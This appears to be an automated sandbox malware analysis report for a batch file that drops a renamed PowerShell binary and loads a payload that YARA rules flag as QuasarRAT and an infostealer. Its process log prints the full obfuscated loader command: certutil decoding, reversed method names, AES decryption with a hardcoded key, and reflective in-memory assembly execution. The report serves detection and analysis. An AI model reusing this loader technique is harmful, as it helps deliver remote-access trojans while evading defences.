Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236
Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236
Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236
Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236
Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236
Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236
Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236
Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236
Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236
Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236
Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236

Source: allah.bat.exe, 00000004.00000002.677997205.0000020E68E37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: allah.bat.exe, 00000004.00000002.647921815.0000020E60D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: allah.bat.exe, 00000004.00000002.633628598.0000020E50F0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: allah.bat.exe, 00000004.00000002.633628598.0000020E50D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: allah.bat.exe, 00000004.00000002.633628598.0000020E50F0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: allah.bat.exe, 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: allah.bat.exe, 00000004.00000002.647921815.0000020E60D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: allah.bat.exe, 00000004.00000002.647921815.0000020E60D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: allah.bat.exe, 00000004.00000002.647921815.0000020E60D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: allah.bat.exe, 00000004.00000002.633628598.0000020E50F0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: allah.bat.exe, 00000004.00000002.633628598.0000020E520F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: allah.bat.exe, 00000004.00000002.677997205.0000020E68E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.cot
Source: allah.bat.exe, 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipwho.is/
Source: allah.bat.exe, 00000004.00000002.647921815.0000020E60D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: allah.bat.exe, 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: allah.bat.exe, 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, allah.bat.exe, 00000004.00000002.633628598.0000020E518B2000.00000004.00000800.00020000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: allah.bat.exe, 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

E-Banking Fraud

Yara detected Quasar RAT

Source: Yara match	File source: 4.2.allah.bat.exe.20e693c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.allah.bat.exe.20e693c0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.allah.bat.exe.20e62ced3d0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.633628598.0000020E50F0A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: allah.bat.exe PID: 6956, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.allah.bat.exe.20e693c0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth (Nextron Systems)
Source: 4.2.allah.bat.exe.20e693c0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 4.2.allah.bat.exe.20e693c0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: 4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth (Nextron Systems)
Source: 4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: 4.2.allah.bat.exe.20e693c0000.6.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth (Nextron Systems)
Source: 4.2.allah.bat.exe.20e693c0000.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 4.2.allah.bat.exe.20e693c0000.6.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: 4.2.allah.bat.exe.20e62ced3d0.0.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth (Nextron Systems)
Source: 4.2.allah.bat.exe.20e62ced3d0.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 4.2.allah.bat.exe.20e62ced3d0.0.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects QuasarRAT malware Author: Florian Roth (Nextron Systems)
Source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Quasar infostealer Author: ditekshen

Source: 4.2.allah.bat.exe.20e693c0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth (Nextron Systems), description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10, modified = 2023-01-06
Source: 4.2.allah.bat.exe.20e693c0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 4.2.allah.bat.exe.20e693c0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: 4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth (Nextron Systems), description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10, modified = 2023-01-06
Source: 4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: 4.2.allah.bat.exe.20e693c0000.6.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth (Nextron Systems), description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10, modified = 2023-01-06
Source: 4.2.allah.bat.exe.20e693c0000.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 4.2.allah.bat.exe.20e693c0000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: 4.2.allah.bat.exe.20e62ced3d0.0.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth (Nextron Systems), description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10, modified = 2023-01-06
Source: 4.2.allah.bat.exe.20e62ced3d0.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 4.2.allah.bat.exe.20e62ced3d0.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth (Nextron Systems), description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10, modified = 2023-01-06
Source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC11B9D6
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC119E22
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC111268
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC119076
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC112D98
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC1107D1
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC110803
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC110C90
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC5A7F59
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC5AEBED
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC5A9456
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC5AD84C
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC5AA335

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\allah.bat.exe D3F8FADE829D2B7BD596C4504A6DAE5C034E789B6A3DEFBE013BDA7D14466677

Source: deneme.bat

Virustotal: Detection: 16%

Source: C:\Windows\System32\mode.com

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\deneme.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com Mode 60,3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\certutil.exe CERTUTIL -f -decode "C:\Users\user\Desktop\deneme.bat" "C:\Users\user\AppData\Local\Temp\allah.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\allah.bat.exe "allah.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $lILxN = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\AppData\Local\Temp\allah.bat').Split([Environment]::NewLine);foreach ($vOhpq in $lILxN) { if ($vOhpq.StartsWith(':: ')) { $OHwZk = $vOhpq.Substring(3); break; }; };$PPhGD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($OHwZk);$YGMef = New-Object System.Security.Cryptography.AesManaged;$YGMef.Mode = [System.Security.Cryptography.CipherMode]::CBC;$YGMef.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$YGMef.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6pNVYWetf4chAWo/pEbNaRZ3xRLeWmBPF3OumGmDVww=');$YGMef.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxQsLBFdvl0gyeVxt5ivJg==');$blbua = $YGMef.CreateDecryptor();$PPhGD = $blbua.TransformFinalBlock($PPhGD, 0, $PPhGD.Length);$blbua.Dispose();$YGMef.Dispose();$MkYmI = New-Object System.IO.MemoryStream(, $PPhGD);$wtLBU = New-Object System.IO.MemoryStream;$JeXHz = New-Object System.IO.Compression.GZipStream($MkYmI, [IO.Compression.CompressionMode]::Decompress);$JeXHz.CopyTo($wtLBU);$JeXHz.Dispose();$MkYmI.Dispose();$wtLBU.Dispose();$PPhGD = $wtLBU.ToArray();$weWpP = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($PPhGD);$BDLvJ = $weWpP.EntryPoint;$BDLvJ.Invoke($null, (, [string[]] ('')))
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com Mode 60,3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\certutil.exe CERTUTIL -f -decode "C:\Users\user\Desktop\deneme.bat" "C:\Users\user\AppData\Local\Temp\allah.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\allah.bat.exe "allah.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $lILxN = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\AppData\Local\Temp\allah.bat').Split([Environment]::NewLine);foreach ($vOhpq in $lILxN) { if ($vOhpq.StartsWith(':: ')) { $OHwZk = $vOhpq.Substring(3); break; }; };$PPhGD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($OHwZk);$YGMef = New-Object System.Security.Cryptography.AesManaged;$YGMef.Mode = [System.Security.Cryptography.CipherMode]::CBC;$YGMef.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$YGMef.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6pNVYWetf4chAWo/pEbNaRZ3xRLeWmBPF3OumGmDVww=');$YGMef.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxQsLBFdvl0gyeVxt5ivJg==');$blbua = $YGMef.CreateDecryptor();$PPhGD = $blbua.TransformFinalBlock($PPhGD, 0, $PPhGD.Length);$blbua.Dispose();$YGMef.Dispose();$MkYmI = New-Object System.IO.MemoryStream(, $PPhGD);$wtLBU = New-Object System.IO.MemoryStream;$JeXHz = New-Object System.IO.Compression.GZipStream($MkYmI, [IO.Compression.CompressionMode]::Decompress);$JeXHz.CopyTo($wtLBU);$JeXHz.Dispose();$MkYmI.Dispose();$wtLBU.Dispose();$PPhGD = $wtLBU.ToArray();$weWpP = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($PPhGD);$BDLvJ = $weWpP.EntryPoint;$BDLvJ.Invoke($null, (, [string[]] ('')))

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\allah.bat.exe

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winBAT@8/6@0/1

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\c60dc807-eaae-43be-9bb5-d598c7ab3dad
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4652:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

Anti Malware Scan Interface: [IO.Compression.CompressionMode]::Decompress);$JeXHz.CopyTo($wtLBU);$JeXHz.Dispose();$MkYmI.Dispose();$wtLBU.Dispose();$PPhGD = $wtLBU.ToArray();$weWpP = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($PPhGD);$BDLvJ = $weWpP.EntryPoint;$BDLvJ.Invoke($null, (, [string[]] ('')))@{# Script module or binary module file associated with this manifest.ModuleToProcess = 'Pester.psm1'# Version number of this module.ModuleVersion = '3.4.0'# ID used to uniquely identify this moduleGUID = 'a699dea5-2c73-4616-a270-1f7abb777e71'# Author of this moduleAuthor = 'Pester Team'# Company or vendor of this moduleCompanyName = 'Pester'# Copyright statement for this moduleCopyright = 'Copyright (c) 2016 by Pester Team, licensed under Apache 2.0 License.'# Description of the functionality provided by this moduleDescription = 'Pester provides a framework for running BDD style Tests to execute and validate PowerShell commands inside of PowerShell and offers a powerful set of Mocking Functions that allow tests to mimic and mock the functionality of any command inside of a piece of powershell code being tested. Pester tests can execute any command or script that is accesible to a pester test file. This can include functions, Cmdlets, Modules and scripts. Pester can be run in ad hoc style in a console or it can be integrated into the Build scripts of a Continuous Integration system.'# Minimum version of the Windows PowerShell engine required by this modulePowerShellVersion = '2.0'# Functions to export from this moduleFunctionsToExport = @( 'Describe', 'Context', 'It', 'Should', 'Mock', 'Assert-MockCalled', 'Assert-VerifiableMocks', 'New-Fixture', 'Get-TestDriveItem', 'Invoke-Pester', 'Setup', 'In', 'InModuleScope', 'Invoke-Mock', 'BeforeEach', 'AfterEach', 'BeforeAll', 'AfterAll' 'Get-MockDynamicParameters', 'Set-DynamicParameterVariables', 'Set-TestInconclusive', 'SafeGetCommand', 'New-PesterOption')# # Cmdlets to export from this module# CmdletsToExport = '*'# Variables to export from this moduleVariablesToExport = @( 'Path', 'TagFilter', 'ExcludeTagFilter', 'TestNameFilter', 'TestResult', 'CurrentContext', 'CurrentDescribe', 'CurrentTest', 'SessionState', 'CommandCoverage', 'BeforeEach', 'AfterEach', 'Strict')# # Aliases to export from this module# AliasesToExport = '*'# List of all modules packaged with this module# ModuleList = @()# List of all files packaged with this module# FileList = @()PrivateData = @{ # PSData is module packaging and gallery metadata embedded in PrivateData # It's for rebuilding PowerShellGet (and PoshCode) NuGet-style packages # We had to do this because it's the only place we're allowed to extend the manifest # https://connect.microsoft.com/PowerShell/feedback/details/421837 PSData = @{ # The primary categorization of this module (from the TechNet Gallery tech tree). Category = "Scripting Techniques"

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\deneme.bat" "

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: deneme.bat

Static file information: File size 2277691 > 1048576

Source:	Binary string: powershell.pdbUGP source: allah.bat.exe, 00000004.00000000.368737034.00007FF7EB5BA000.00000002.00000001.01000000.00000004.sdmp, allah.bat.exe.0.dr
Source:	Binary string: powershell.pdb source: allah.bat.exe, 00000004.00000000.368737034.00007FF7EB5BA000.00000002.00000001.01000000.00000004.sdmp, allah.bat.exe.0.dr

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC11FA92 pushad ; ret
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC122BAA push eax; retf
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC122C83 push eax; retf
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC1E5334 push esi; iretd
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC5AE1A1 push edx; iretd
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Code function: 4_2_00007FFBAC5A7149 push eax; ret

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\allah.bat.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

File opened: C:\Users\user\AppData\Local\Temp\allah.bat.exe:Zone.Identifier read attributes | delete

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
